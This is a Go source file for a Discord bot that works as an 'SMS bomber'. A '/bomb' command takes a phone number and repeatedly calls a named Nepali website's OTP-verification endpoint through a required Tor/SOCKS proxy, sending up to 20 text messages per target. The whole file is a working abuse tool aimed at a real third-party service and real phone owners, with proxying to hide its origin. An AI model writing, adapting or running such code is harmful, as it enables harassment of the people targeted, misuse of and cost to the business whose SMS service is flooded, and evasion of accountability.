package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"os"
	"os/signal"
	"regexp"
	"strings"
	"syscall"
	"time"

	"github.com/bwmarrin/discordgo"
)

var (
	Token    string
	ProxyURL string
	num      *regexp.Regexp
)

var APIURL = "https://digitalgurkha.com/api/otpVerification.php?_tutor_nonce=35811174a5&mobile=977%v&action=send"
var hardlimit = 200
var peruserCount map[string]int = make(map[string]int)

func init() {
	var err error
	flag.StringVar(&Token, "token", "", "Bot token from discord")
	flag.StringVar(&ProxyURL, "proxy", "", "sock5 proxy to use")
	flag.Parse()

	num, err = regexp.Compile(`\d{10}`)
	if err != nil {
		log.Fatalf("unable to compile regexp: %v", err)
	}
}

func main() {

	if ProxyURL == "" {
		log.Panicln("Insecure environment. Provide a sock5 proxy")
	}

	session, err := discordgo.New("Bot " + Token)
	log.Printf("Bot %v", Token)
	if err != nil {
		log.Panicf("error creating Discord session: %v", err)
	}

	session.AddHandler(CommandHandler)

	session.Identify.Intents = discordgo.IntentsGuildMessages

	// open ws conn
	err = session.Open()
	defer session.Close()
	if err != nil {
		log.Panicf("error opening ws connection: %v", err)
		return
	}

	resetTicker := time.NewTicker(24 * time.Hour)
	done := make(chan bool)

	// reset hard limit and per-user limit everyday
	go func() {
		for {
			select {
			case <-done:
				return
			case <-resetTicker.C:
				hardlimit = 200
				for u := range peruserCount {
					delete(peruserCount, u)
				}

			}
		}
	}()

	// wait until CTRL-C or other term signal
	log.Println("Bot is running. Press CTRL+C to exit.")
	sigchan := make(chan os.Signal, 1)
	signal.Notify(sigchan, syscall.SIGINT, syscall.SIGTERM, os.Interrupt)
	<-sigchan

	// stop the limit reset ticker
	resetTicker.Stop()
	done <- true

	log.Println("gracefully shutting down ...")

}

func CommandHandler(s *discordgo.Session, m *discordgo.MessageCreate) {
	// ignore self
	if m.Author.ID == s.State.User.ID {
		return
	}
	// ignore bots
	if m.Author.Bot {
		return
	}

	// very basic parser
	if len(m.Content) <= 5 {
		return
	}
	if strings.HasPrefix(m.Content, "/bomb") {

		match := num.FindStringSubmatch(m.Content[5:])
		if match == nil {
			msg := "USEAGE: /bomb valid-phone-number"
			s.ChannelMessageSend(m.ChannelID, msg)
		}

		// increment everytime user uses command
		peruserCount[m.Author.ID]++

		ticker := time.NewTicker(5 * time.Second)

		// don't run if per-user count exceeded 3
		if count, ok := peruserCount[m.Author.ID]; ok && (count > 3) {
			reply := fmt.Sprintf("%v#%v has used this command more than 3 times today. Banned!!", m.Author.Username, m.Author.Discriminator)
			s.ChannelMessageSend(m.ChannelID, reply)
			ticker.Stop()
			return
		}

		// run in bg thread
		go func() {
			count := 0
			msg, _ := s.ChannelMessageSend(m.ChannelID, "Init....")
			for {
				select {
				// don't keep running for more than 2 minutes
				// use logical time later
				case <-time.After(2 * time.Minute):
					return
				case <-ticker.C:

					// don't run for more than 20 count or if daily limit reached
					if count >= 20 || hardlimit == 0 {
						ticker.Stop()
						return
					}

					ok := makeRequest(fmt.Sprintf(APIURL, match[0]))
					if ok {
						s.ChannelMessageEdit(m.ChannelID, msg.ID, fmt.Sprintf("Sent messages %v of 20 to %v", count+1, match[0]))
					} else {
						s.ChannelMessageSend(m.ChannelID, "request failed!!!")
					}

					// increment count and decrement hard limit

					count++
					hardlimit--

				}
			}
		}()

	}
}

func makeRequest(apiurl string) bool {
	torProxy, err := url.Parse(ProxyURL)
	if err != nil {
		log.Panicf("Invalid proxy. Insecure Environment\n%v", err)
	}
	torTransport := &http.Transport{Proxy: http.ProxyURL(torProxy)}
	client := &http.Client{Transport: torTransport, Timeout: time.Second * 5}

	// parse tor proxy url string to url type
	resp, err := client.Get(apiurl)
	if err != nil {
		log.Fatalln(err)
		return false
	}

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Fatalln(err)
	}
	log.Println(string(body))
	return true
}
